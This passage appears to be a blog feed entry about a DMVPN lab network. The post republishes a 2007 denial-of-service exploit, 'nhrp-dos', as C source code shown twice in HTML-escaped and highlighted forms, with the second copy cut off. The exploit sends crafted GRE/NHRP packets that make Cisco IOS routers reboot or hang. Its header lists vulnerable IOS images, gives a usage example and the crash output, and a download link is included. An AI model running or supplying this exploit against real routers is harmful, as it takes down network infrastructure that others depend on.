&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#ifdef _BSD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iphdr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ip &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_len &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ntohs&lt;/span&gt;(iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_len);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_off &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;ntohs&lt;/span&gt;(iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_off);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memset&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;sin, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sin.sin_family &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; AF_INET;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sin.sin_addr.s_addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; iphdr&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;ip_dst.s_addr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;nhrp-dos (c) by Martin Kluge &amp;lt;mk@elxsi.de&amp;gt;, 2007&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;------------------------------------------------&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Sending DoS packet...&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Send the packet */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;sendto&lt;/span&gt;(fd, buf, IP_HDR_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; GRE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt; NHRP_HDR_SIZE, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;sin, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;printf&lt;/span&gt;(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DONE (%d bytes)&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;, bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Free the buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;free&lt;/span&gt;(buf);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Return number of bytes */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(bytes);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;// milw0rm.com [2007-08-09]
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&#34;https://www.deepreflect.net/wp-content/uploads/2009/09/NHRP_dos.c&#34;&gt;Download&lt;/a&gt;&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>I&rsquo;m working on experimental wide lab network based on DMVPN/NBMA, with some friends, dynamic multipoing vpn is seem a great solution, looks like a cheap frame relay infrastructure over internet.</p>
<p>Now the problem: what about security?
especially in dynamical wan ip address envivorment durin spoke-spoke communication, is impossible define security rule on GRE level.</p>
<p>Solution:
I&rsquo;m thinking about&hellip;</p>
<p>Only for testing purpose, I find this exploit:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">/******************************************************************************/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* nhrp-dos - Copyright by Martin Kluge, &lt;mk@elxsi.de&gt;                        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Feel free to modify this code as you like, as long as you include the      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* above copyright statement.                                                 */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Please use this code only to check your OWN cisco routers.                 */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Cisco bug ID: CSCin95836                                                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* The Next-Hop-Resolution Protocol (NHRP) is defined in RFC2332. It is used  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* by a source host/router connected to a Non-Broadcast-Multi-Access (NBMA)   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* subnetwork to determine the internetworking layer address and NBMA         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* subnetwork addresses of the NBMA next hop towards the destination.         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP is often used for dynamic multipoint VPNs (DMVPN) in combination with */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* IPSEC.                                                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* URLs:                                                                      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* - [RFC2332/NHRP]       http://rfc.net/rfc2332.html                         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* - [RFC1701/GRE]        http://rfc.net/rfc1701.html                         */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* - [DMVPNs with Cisco]  http://www.cisco.com/en/US/tech/tk583/tk372/techno  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                        logies_white_paper09186a008018983e.shtml            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* This code was only tested on FreeBSD and Linux, no warranty is or will be  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* provided.                                                                  */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Vulnerable images (tested):                                                */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  - c7100-jk9o3s-mz.123-12e.bin                                             */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  - c7200-jk8o3s-mz.122-40.bin                                              */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  - c3640-js-mz.122-15.T17.bin                                              */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* (and many other IOS versions on different platforms)                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Vulnerable configuration on cisco IOS:                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* interface Tunnel0                                                          */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip address 10.0.0.1 255.255.255.128                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  no ip redirects                                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  no ip proxy-arp                                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip mtu 1464                                                               */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp authentication mysecret                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp network-id 1000                                                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp map multicast dynamic                                             */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp server-only                                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  ip nhrp holdtime 30                                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  tunnel source FastEthernet0/0                                             */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  tunnel mode gre multipoint                                                */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*  tunnel key 123456789                                                      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* This exploit works even if &#34;ip nhrp authentication&#34; is configured on the   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* cisco router. You can also specify a GRE key (use 0 to disable this        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* feature) if the GRE tunnel is protected. You don&#39;t need to know the        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP network id (or any other configuration details, except the GRE key if */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* it is set on the target router).                                           */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NOTE: The exploit only seems to work, if a NHRP session between the target */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*       router and at least one client is established.                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Code injection is also possible (thanks to sky for pointing this out), but */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* it is not very easy and depends heavily on the IOS version / platform.     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Example:                                                                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* root@elxsi# ./nhrp-dos vr0 x.x.x.x 123456789                               */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Router console output:                                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* -Traceback= 605D89A0 605D6B50 605BD974 605C08CC 605C2598 605C27E8          */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* $0 : 00000000, AT : 62530000, v0 : 62740000, v1 : 62740000                 */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* &lt;snip&gt;                                                                     */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* EPC : 605D89A0, ErrorEPC : BFC01654, SREG : 3400FF03                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Cause 00000024 (Code 0x9): Breakpoint exception                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Writing crashinfo to bootflash:crashinfo_20070321-155011                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* === Flushing messages (16:50:12 CET Wed Mar 21 2007) ===                   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Router reboots or sometimes hangs ;)                                       */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Workaround: Disable NHRP ;)                                                */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* I&#39;d like to thank the Cisco PSIRT and Clay Seaman-Kossmey for their help   */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* regarding this issue.                                                      */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Greetings fly to: sky, chilli, arbon, ripp, huega, gh0st, argonius, s0uls, */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                   xhr, bullet, nanoc, spekul, kaner, d, slobo, conny, H-Ra */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                   and #infiniteVOID                                        */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/*                                                                            */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">/******************************************************************************/</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdio.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;stdlib.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;string.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;unistd.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netdb.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;arpa/inet.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;sys/socket.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;sys/ioctl.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;net/if.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netinet/in.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netinet/in_systm.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;netinet/ip.h&gt;</span><span style="color:#75715e">
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">/* BSD */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define _BSD
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">/* Header sizes */</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#define IP_HDR_SIZE     20
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define GRE_HDR_SIZE    4
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define GRE_KEY_SIZE    4
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#define NHRP_HDR_SIZE   62
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">/* Function prototypes */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">open_socket</span> (<span style="color:#66d9ef">void</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">close_socket</span> (<span style="color:#66d9ef">int</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">send_dos</span>(<span style="color:#66d9ef">int</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>, <span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">resolve_ip</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span> <span style="color:#a6e22e">get_int_ipv4</span> (<span style="color:#66d9ef">char</span> <span style="color:#f92672">*</span>);
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Globals */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> sockfd;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> nhrp_req_id;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* GRE header */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> gre_h {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> flags;   <span style="color:#75715e">/* GRE flags */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ptype;   <span style="color:#75715e">/* GRE protocol type */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>   key;     <span style="color:#75715e">/* GRE key */</span>
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP header */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> nhrp_h {
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP fixed header (20 bytes) */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> afn;             <span style="color:#75715e">/* NHRP AFN */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> proto;           <span style="color:#75715e">/* NHRP protocol type */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>   snap;            <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> snapE:<span style="color:#ae81ff">8</span>;         <span style="color:#75715e">/* NHRP SNAP */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> hops:<span style="color:#ae81ff">8</span>;          <span style="color:#75715e">/* NHRP hop count */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> length;          <span style="color:#75715e">/* NHRP total length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> checksum;        <span style="color:#75715e">/* NHRP checksum */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> mpoa_ext;        <span style="color:#75715e">/* NHRP MPOA extensions */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> version:<span style="color:#ae81ff">8</span>;       <span style="color:#75715e">/* NHRP version */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> type:<span style="color:#ae81ff">8</span>;          <span style="color:#75715e">/* NHRP type */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> nbma_addr:<span style="color:#ae81ff">8</span>;     <span style="color:#75715e">/* NHRP t/l of NBMA address */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> nbma_sub:<span style="color:#ae81ff">8</span>;      <span style="color:#75715e">/* NHRP t/l of NBMA subaddr */</span>
</span></span><span style="display:flex;"><span>} fixed;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP mandatory part */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> src_len:<span style="color:#ae81ff">8</span>;       <span style="color:#75715e">/* NHRP src protocol length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> dst_len:<span style="color:#ae81ff">8</span>;       <span style="color:#75715e">/* NHRP dest protocol length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> flags;           <span style="color:#75715e">/* NHRP flags */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">int</span>   request_id;      <span style="color:#75715e">/* NHRP request ID */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>  client_nbma;     <span style="color:#75715e">/* NHRP client NBMA address */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>  client_nbma_sub; <span style="color:#75715e">/* NHRP client NBMA subaddr */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">long</span>  client_pro_addr; <span style="color:#75715e">/* NHRP client protocol addr */</span>
</span></span><span style="display:flex;"><span>} mand;
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* NHRP client information entries (CIE) */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">union</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">struct</span> {
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> code:<span style="color:#ae81ff">8</span>;          <span style="color:#75715e">/* NHRP code */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> pref_len:<span style="color:#ae81ff">8</span>;      <span style="color:#75715e">/* NHRP prefix length */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> reserved;        <span style="color:#75715e">/* NHRP reserved */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> mtu;             <span style="color:#75715e">/* NHRP MTU */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> holding_time;    <span style="color:#75715e">/* NHRP holding time */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> len_client:<span style="color:#ae81ff">8</span>;    <span style="color:#75715e">/* NHRP t/l cl addr */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> len_client_sub:<span style="color:#ae81ff">8</span>;<span style="color:#75715e">/* NHRP t/l cl sub */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> len_client_pro:<span style="color:#ae81ff">8</span>;<span style="color:#75715e">/* NHRP t/l cl pro */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> preference:<span style="color:#ae81ff">8</span>;    <span style="color:#75715e">/* NHRP preference */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">unsigned</span> <span style="color:#66d9ef">short</span> ext;             <span style="color:#75715e">/* NHRP extension */</span>
</span></span><span style="display:flex;"><span>} cie;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Main function */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">main</span> (<span style="color:#66d9ef">int</span> argc, <span style="color:#66d9ef">char</span> <span style="color:#f92672">**</span>argv) {
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Check command line */</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span>(argc <span style="color:#f92672">!=</span> <span style="color:#ae81ff">4</span>) {
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">nhrp-dos (c) by Martin Kluge &lt;mk@elxsi.de&gt;, 2007</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;------------------------------------------------</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;Usage: ./nhrp-dos &lt;device&gt; &lt;target&gt; &lt;GRE key&gt;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">fprintf</span>(stderr, <span style="color:#e6db74">&#34;(Set GRE key = 0 to disable GRE keys!)</span><span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">exit</span>(EXIT_FAILURE);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#75715e">/* Check UID */</span>
